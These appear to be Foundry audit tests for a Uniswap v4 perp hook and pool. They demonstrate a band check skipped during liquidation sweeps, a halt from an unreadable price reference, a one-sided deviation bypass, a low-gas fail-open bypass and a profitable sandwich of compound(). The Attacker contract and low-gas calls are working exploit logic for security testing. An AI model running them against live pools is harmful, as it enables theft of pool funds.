// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract Coin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

contract Curve {
    uint256 public q; uint256 public t; address public token;
    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }
    function getReserves() external view returns (uint256, uint256) { return (q, t); }
    function graduated() external pure returns (bool) { return false; }
    function pairToken() external pure returns (address) { return address(0); }
    function factory() external pure returns (address) { return address(0); }
}

/// A plain router: swaps through the PoolManager as any router would
contract Trader {
    IPoolManager immutable pm;
    PoolKey key;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {
        key = k;
        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, int256 amt) = abi.decode(data, (bool, int256));
        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return abi.encode(d);
    }
    function _settle(Currency c, int128 v) internal {
        if (v < 0) {
            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();
            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }
        } else if (v > 0) pm.take(c, address(this), uint128(v));
    }
    receive() external payable {}
}

/// An engine whose post-trade sweep (spec == 0) liquidates one position by swapping on the pool itself, as the
/// real engine does; the pre-trade sweep has nothing to do. Every sweep reports "done" (0).
contract SweepingEngine {
    IPoolManager immutable pm;
    PoolKey key;
    constructor(IPoolManager pm_, PoolKey memory k) { pm = pm_; key = k; }
    function openCount() external pure returns (uint256) { return 1; }
    function sweepLiquidations(address, int256 spec, bool, uint160) external returns (uint8) {
        if (spec == 0) {
            // the liquidation: a tiny buy of the coin with 1000 wei, settled by the engine itself
            BalanceDelta d = pm.swap(key, SwapParams(true, -1000, TickMath.MIN_SQRT_PRICE + 1), "");
            pm.settle{value: uint128(-d.amount0())}();
            pm.take(key.currency1, address(this), uint128(d.amount1()));
        }
        return 0;
    }
    receive() external payable {}
}

/// Finding: the band check is skipped whenever the post-swap sweep makes the engine swap on the pool. The engine's
/// own swap runs _beforeSwap, which overwrites the transient slot DEV_SLOT with type(uint256).max (the engine never
/// tracks Pons), and the outer trade's _checkBand then reads that sentinel and returns without checking anything.
/// A trader whose trade sinks a position can push the pool arbitrarily far from Pons in that same trade.
contract BandSkippedBySweepTest is Test {
    IPoolManager PM;
    address constant OWNER = address(0xA11CE);
    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Curve curve; Trader trader;

    function setUp() public {
        PM = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);
        hook = l.hook(); pool = l.pool();
        coin = new Coin();
        curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);
        vm.stopPrank();
        trader = new Trader(PM);
        vm.deal(address(trader), 10 ether);
    }

    function test_bandStillHoldsWhenThePostSweepLiquidates() public {
        PoolKey memory k = pool.poolKey();
        // without an engine the 1 ETH buy is refused: it would leave the pool far more than 30% from Pons
        vm.expectRevert();
        trader.swap(k, true, -1 ether);

        SweepingEngine engine = new SweepingEngine(PM, k);
        vm.deal(address(engine), 1 ether);
        vm.prank(OWNER);
        hook.setPerpEngine(address(engine));

        // the same trade, with an engine whose post-trade sweep liquidates one position: it must still be refused
        vm.expectRevert();
        trader.swap(k, true, -1 ether);
        assertLe(hook.deviationBps(), hook.maxDeviationBps(), "the pool stayed inside the band");
    }

    function _sqrt(uint256 x) internal pure returns (uint160 z) {
        uint256 r = x; uint256 y = (x + 1) / 2;
        while (y < r) { r = y; y = (x / y + y) / 2; }
        z = uint160(r);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract Coin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// The coin's Pons curve, once graduated: it still answers graduated() and factory(), but the factory it names has
/// no code (or, on the live chain, a factory whose getLaunchedToken reverts or returns another struct layout).
contract GraduatedCurve {
    uint256 public q; uint256 public t; address public token; bool public graduated;
    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }
    function graduate() external { graduated = true; }
    function getReserves() external view returns (uint256, uint256) { return (q, t); }
    function pairToken() external pure returns (address) { return address(0); }
    function factory() external pure returns (address) { return address(0xdead); }
}

contract Trader {
    IPoolManager immutable pm;
    PoolKey key;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {
        key = k;
        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, int256 amt) = abi.decode(data, (bool, int256));
        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return abi.encode(d);
    }
    function _settle(Currency c, int128 v) internal {
        if (v < 0) {
            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();
            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }
        } else if (v > 0) pm.take(c, address(this), uint128(v));
    }
    receive() external payable {}
}

/// Finding: _graduatedPriceX96 promises "a reference we cannot read must leave the pool trading, never revert
/// somebody's swap", but its try/catch covers only `factory()`. getLaunchedToken, token(), memeHook() and the
/// struct decode run outside it, so once the curve graduates and any of those reverts, every swap by an ordinary
/// router reverts in _afterSwap. The pool's `curve` has no setter, so the owner cannot repoint it.
contract UnreadablePonsHaltsTradingTest is Test {
    IPoolManager PM;
    address constant OWNER = address(0xA11CE);
    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; GraduatedCurve curve; Trader trader;

    function setUp() public {
        PM = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);
        hook = l.hook(); pool = l.pool();
        coin = new Coin();
        curve = new GraduatedCurve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);
        vm.stopPrank();
        trader = new Trader(PM);
        vm.deal(address(trader), 10 ether);
    }

    function test_tradingContinuesWhenTheGraduatedReferenceCannotBeRead() public {
        PoolKey memory k = pool.poolKey();
        // before graduation an ordinary small buy goes through
        trader.swap(k, true, -0.001 ether);

        curve.graduate();
        // the reference is now unreadable: the hook must treat it as "no reference" (band off), as its NatSpec
        // says, and the same small buy must still go through
        trader.swap(k, true, -0.001 ether);
        // (the view agrees: an unreadable reference reads as 0, not as a revert)
        assertEq(hook.ponsPriceX96(), 0, "no reference");
    }

    function _sqrt(uint256 x) internal pure returns (uint160 z) {
        uint256 r = x; uint256 y = (x + 1) / 2;
        while (y < r) { r = y; y = (x / y + y) / 2; }
        z = uint160(r);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract Coin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// The Pons curve, whose reserves anyone moves by trading on it
contract Curve {
    uint256 public q; uint256 public t; address public token;
    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }
    function set(uint256 q_, uint256 t_) external { q = q_; t = t_; }
    function getReserves() external view returns (uint256, uint256) { return (q, t); }
    function graduated() external pure returns (bool) { return false; }
    function pairToken() external pure returns (address) { return address(0); }
    function factory() external pure returns (address) { return address(0); }
}

contract Trader {
    IPoolManager immutable pm;
    PoolKey key;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {
        key = k;
        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, int256 amt) = abi.decode(data, (bool, int256));
        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        _settle(key.currency0, d.amount0());
        _settle(key.currency1, d.amount1());
        return abi.encode(d);
    }
    function _settle(Currency c, int128 v) internal {
        if (v < 0) {
            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();
            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }
        } else if (v > 0) pm.take(c, address(this), uint128(v));
    }
    receive() external payable {}
}

/// Finding: _deviation measures |pool - ref| / ref, which is capped at 100% when the pool is below the reference
/// and unbounded above it. "Closer" by that number is not closer in price: once Pons has moved so the pool is 2x
/// the Pons price (deviation 10000), one buy that leaves the pool at ~1/20 of the Pons price (deviation ~9500)
/// counts as a correction and passes the band, a 40x swing through the reference in one swap.
contract OneSidedBandTest is Test {
    IPoolManager PM;
    address constant OWNER = address(0xA11CE);
    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Curve curve; Trader trader;

    function setUp() public {
        PM = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);
        hook = l.hook(); pool = l.pool();
        coin = new Coin();
        curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);
        vm.stopPrank();
        trader = new Trader(PM);
        vm.deal(address(trader), 100 ether);
    }

    function test_aTradeMayNotOvershootThroughThePonsPrice() public {
        PoolKey memory k = pool.poolKey();
        // Pons trades move the curve: the coin is now worth twice as much there (5e8 coin per ETH), so this pool
        // sits at 2x the Pons price, deviation 100%
        curve.set(1 ether, 5e26);
        assertApproxEqAbs(hook.deviationBps(), 10_000, 2);

        // a 10 ETH buy into 2 ETH of depth takes the pool to ~2.8e7 coin per ETH: 1/18 of the Pons price, a
        // 36x move through the reference. It must be refused: it ends far outside the band and nowhere near Pons.
        vm.expectRevert();
        trader.swap(k, true, -10 ether);
        assertGe(hook.poolPriceX96(), hook.ponsPriceX96() / 2, "the pool did not cross far below Pons");
    }

    function _sqrt(uint256 x) internal pure returns (uint160 z) {
        uint256 r = x; uint256 y = (x + 1) / 2;
        while (y < r) { r = y; y = (x / y + y) / 2; }
        z = uint160(r);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract Coin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

contract Curve {
    address public token;
    constructor(address t) { token = t; }
    function getReserves() external pure returns (uint256, uint256) { return (1 ether, 1e27); }
    function graduated() external pure returns (bool) { return false; }
}

/// An engine that is down: every call, the sweep and the openCount view alike, reverts.
contract BrokenEngine {
    fallback() external { revert("broken"); }
}

contract Trader {
    IPoolManager immutable pm;
    PoolKey key;
    constructor(IPoolManager pm_) { pm = pm_; }
    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {
        key = k;
        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, int256 amt) = abi.decode(data, (bool, int256));
        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), "");
        if (d.amount0() < 0) pm.settle{value: uint128(-d.amount0())}();
        else if (d.amount0() > 0) pm.take(key.currency0, address(this), uint128(d.amount0()));
        if (d.amount1() < 0) { pm.sync(key.currency1); Coin(Currency.unwrap(key.currency1)).transfer(address(pm), uint128(-d.amount1())); pm.settle(); }
        else if (d.amount1() > 0) pm.take(key.currency1, address(this), uint128(d.amount1()));
        return abi.encode(d);
    }
    receive() external payable {}
}

/// With a fail-closed (sweepFailOpen == false) hook and an engine that cannot run its sweep, a swap must revert
/// whatever gas it is sent with. It does with plenty of gas (SweepUnavailable) but goes through when the swap is
/// sent with little enough gas that the hook takes its low-gas branch, where a reverting openCount() is ignored.
contract SweepLowGasFailsOpenTest is Test {
    IPoolManager PM;
    address constant OWNER = address(0xA11CE);
    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Trader trader;

    function setUp() public {
        PM = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);
        hook = l.hook(); pool = l.pool();
        coin = new Coin();
        Curve curve = new Curve(address(coin));
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31622) << 96, 2e27); // sqrt(1e9 coin per ETH), as the Pons curve prices it
        hook.setPerpEngine(address(new BrokenEngine()));
        vm.stopPrank();
        assertFalse(hook.sweepFailOpen(), "fail closed");
        trader = new Trader(PM);
        vm.deal(address(trader), 10 ether);
    }

    function test_FailClosedEngineBlocksTheSwapWithPlentyOfGas() public {
        PoolKey memory k = pool.poolKey();
        vm.expectRevert();
        trader.swap{gas: 3_000_000}(k, true, -0.001 ether);
    }

    function test_FailClosedEngineMustAlsoBlockTheSwapWithLittleGas() public {
        PoolKey memory k = pool.poolKey();
        uint128 liqBefore = pool.liquidity();
        uint256 priceBefore = hook.poolPriceX96();
        // 600k gas: the hook's _sweep sees gasleft() <= SWEEP_GAS_RESERVE + 2 * SWEEP_GAS_MIN and takes the
        // low-gas branch; openCount() reverts there and the revert is swallowed, so the trade runs unswept.
        (bool ok,) = address(trader).call{gas: 600_000}(abi.encodeCall(Trader.swap, (k, true, -0.001 ether)));
        assertFalse(ok, "a fail-closed hook with an unreachable engine must refuse the trade at any gas");
        assertEq(hook.poolPriceX96(), priceBefore, "the price must not move while the engine is down");
        assertEq(pool.liquidity(), liqBefore);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";

contract Coin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address to, uint256 a) external { balanceOf[to] += a; }
    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }
    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;
        balanceOf[f] -= a; balanceOf[to] += a; return true;
    }
}

/// The Pons reference the hook reads: fixed at 1e9 coin per ETH throughout (the attacker never touches Pons)
contract Curve {
    uint256 public q; uint256 public t; address public token;
    constructor(address token_, uint256 q_, uint256 t_) { token = token_; q = q_; t = t_; }
    function getReserves() external view returns (uint256, uint256) { return (q, t); }
    function graduated() external pure returns (bool) { return false; }
    function pairToken() external pure returns (address) { return address(0); }
    function factory() external pure returns (address) { return address(0); }
}

/// An unprivileged attacker, one transaction: push the pool to the edge of the band, call the permissionless
/// compound() so the pool pairs its pending ETH and coin at that pushed price, then trade back.
contract Attacker {
    IPoolManager immutable pm;
    IMD6900PerpPool immutable pool;
    Coin immutable coin;
    bool public compounded;

    constructor(IPoolManager pm_, IMD6900PerpPool pool_, Coin coin_) { pm = pm_; pool = pool_; coin = coin_; }

    function attack(uint256 ethIn) external returns (uint256 ethBefore, uint256 ethAfter) {
        ethBefore = address(this).balance;
        pm.unlock(abi.encode(true, ethIn));
        // a fix that refuses to compound a pool pushed off the Pons price (or that restricts compound) makes this
        // revert; the attacker is then left with a plain fee-paying round trip and the test passes
        try pool.compound(0, 0) { compounded = true; } catch {}
        pm.unlock(abi.encode(false, coin.balanceOf(address(this))));
        ethAfter = address(this).balance;
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bool buy, uint256 amt) = abi.decode(data, (bool, uint256));
        PoolKey memory key = pool.poolKey();
        if (buy) {
            BalanceDelta d = pm.swap(key, SwapParams(true, -int256(amt), TickMath.MIN_SQRT_PRICE + 1), "");
            pm.settle{value: uint128(-d.amount0())}();
            pm.take(key.currency1, address(this), uint128(d.amount1()));
        } else {
            BalanceDelta d = pm.swap(key, SwapParams(false, -int256(amt), TickMath.MAX_SQRT_PRICE - 1), "");
            pm.sync(key.currency1);
            coin.transfer(address(pm), uint128(-d.amount1()));
            pm.settle();
            pm.take(key.currency0, address(this), uint128(d.amount0()));
        }
        return "";
    }

    receive() external payable {}
}

/// Finding: compound() pairs the pool's pending balances at whatever spot price the caller has just pushed the pool
/// to. minEth/minTokens bound balances, not the price, and the band allows a 30% displacement. An attacker who
/// pushes the price to the band edge, compounds, and trades back leaves with more ETH than they started with; the
/// pool loses exactly that and is left displaced from Pons.
contract CompoundSandwichTest is Test {
    IPoolManager PM;
    address constant OWNER = address(0xA11CE);
    IMD6900PerpHook hook;
    IMD6900PerpPool pool;
    Coin coin;
    Curve curve;

    function setUp() public {
        PM = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);
        hook = l.hook();
        pool = l.pool();
        coin = new Coin();
        curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH
        coin.mint(OWNER, 2e27);
        vm.deal(OWNER, 10 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27); // 2 ETH + 2e9 coin
        vm.stopPrank();
    }

    function test_CompoundCanBeSandwichedForProfit() public {
        // the pool has collected 1 ETH and 1e9 coin to compound (fee-split share, released coin, donations)
        vm.deal(address(pool), 1 ether);
        coin.mint(address(pool), 1e27);
        assertLt(hook.deviationBps(), 10, "the pool starts at the Pons price");

        Attacker a = new Attacker(PM, pool, coin);
        vm.deal(address(a), 0.28 ether);
        (uint256 before, uint256 after_) = a.attack(0.28 ether); // 0.28 ETH into 2 ETH of depth: ~29.6% move, inside the band

        emit log_named_int("attacker ETH profit (wei)", int256(after_) - int256(before));
        emit log_named_uint("pool deviation from Pons after the attack, bps", hook.deviationBps());
        assertLe(after_, before, "an unprivileged round trip through the pool must not come out ahead");
        if (a.compounded()) assertLt(hook.deviationBps(), 100, "compounding must not leave the pool displaced from Pons");
    }

    function _sqrt(uint256 x) internal pure returns (uint160 z) {
        uint256 r = x;
        uint256 y = (x + 1) / 2;
        while (y < r) { r = y; y = (x / y + y) / 2; }
        z = uint160(r);
    }

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IMD6900PerpsLaunch} from "src/IMD6900PerpsLaunch.sol";
import {IMD6900PerpHook} from "src/IMD6900PerpHook.sol";
import {IMD6900PerpPool} from "src/IMD6900PerpPool.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {SwapParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {CustomRevert} from "@uniswap/v4-core/src/libraries/CustomRevert.sol";

contract BookProofCoin {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    function mint(address who, uint256 amount) external { balanceOf[who] += amount; }
    function approve(address who, uint256 amount) external returns (bool) {
        allowance[msg.sender][who] = amount;
        return true;
    }
    function transfer(address who, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[who] += amount;
        return true;
    }
    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

contract BookProofEngine {
    // Models an installed engine that has become unavailable. Neither the sweep nor
    // the book read provides evidence that trading without liquidations is safe.
    fallback() external { revert("engine unavailable"); }
}

contract BookProofRouter {
    IPoolManager immutable pm;
    constructor(IPoolManager pm_) { pm = pm_; }
    function buy(PoolKey calldata key) external {
        pm.unlock(abi.encode(key));
    }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(pm));
        PoolKey memory key = abi.decode(data, (PoolKey));
        BalanceDelta delta = pm.swap(key, SwapParams(true, -0.01 ether, TickMath.MIN_SQRT_PRICE + 1), "");
        pm.settle{value: uint128(-delta.amount0())}();
        pm.take(key.currency1, address(this), uint128(delta.amount1()));
        return "";
    }
    receive() external payable {}
}

contract UnreadableBookProof is Test {
    address constant OWNER = 0x35dA9C0303507ddf708E87F2568EdDf12c47a059;

    function test_UnreadableEngineMustRemainFailClosedAtLowGas() public {
        IPoolManager pm = IPoolManager(address(new PoolManager(address(this))));
        IMD6900PerpsLaunch launch = new IMD6900PerpsLaunch(pm, 10_000, OWNER, OWNER);
        IMD6900PerpPool pool = launch.pool();
        IMD6900PerpHook hook = launch.hook();
        BookProofCoin coin = new BookProofCoin();
        coin.mint(OWNER, 100 ether);
        vm.deal(OWNER, 100 ether);
        vm.startPrank(OWNER);
        coin.approve(address(pool), type(uint256).max);
        // No Pons reference is configured; this is an allowed spot-only pool setup.
        pool.open{value: 100 ether}(address(coin), address(0), uint160(1 << 96), 100 ether);
        hook.setPerpEngine(address(new BookProofEngine()));
        vm.stopPrank();
        assertFalse(hook.sweepFailOpen());
        BookProofRouter router = new BookProofRouter(pm);
        vm.deal(address(router), 1 ether);
        PoolKey memory key = pool.poolKey();

        // Control: with enough gas the exact same trade is correctly rejected.
        vm.expectRevert(abi.encodeWithSelector(
            CustomRevert.WrappedError.selector, address(hook), IHooks.beforeSwap.selector,
            abi.encodeWithSelector(IMD6900PerpHook.SweepUnavailable.selector),
            abi.encodeWithSelector(Hooks.HookCallFailed.selector)
        ));
        router.buy{gas: 2_000_000}(key);

        // Actual: a trader supplies 600k gas, openCount() reverts, the hook silently
        // continues, and a real v4 swap transfers coins to the trader. Expected: revert.
        (bool traded,) = address(router).call{gas: 600_000}(abi.encodeCall(router.buy, (key)));
        emit log_named_uint("coins received despite unavailable engine", coin.balanceOf(address(router)));
        assertFalse(traded, "an unreadable book cannot authorize a fail-closed trade");
        assertEq(coin.balanceOf(address(router)), 0);
    }
}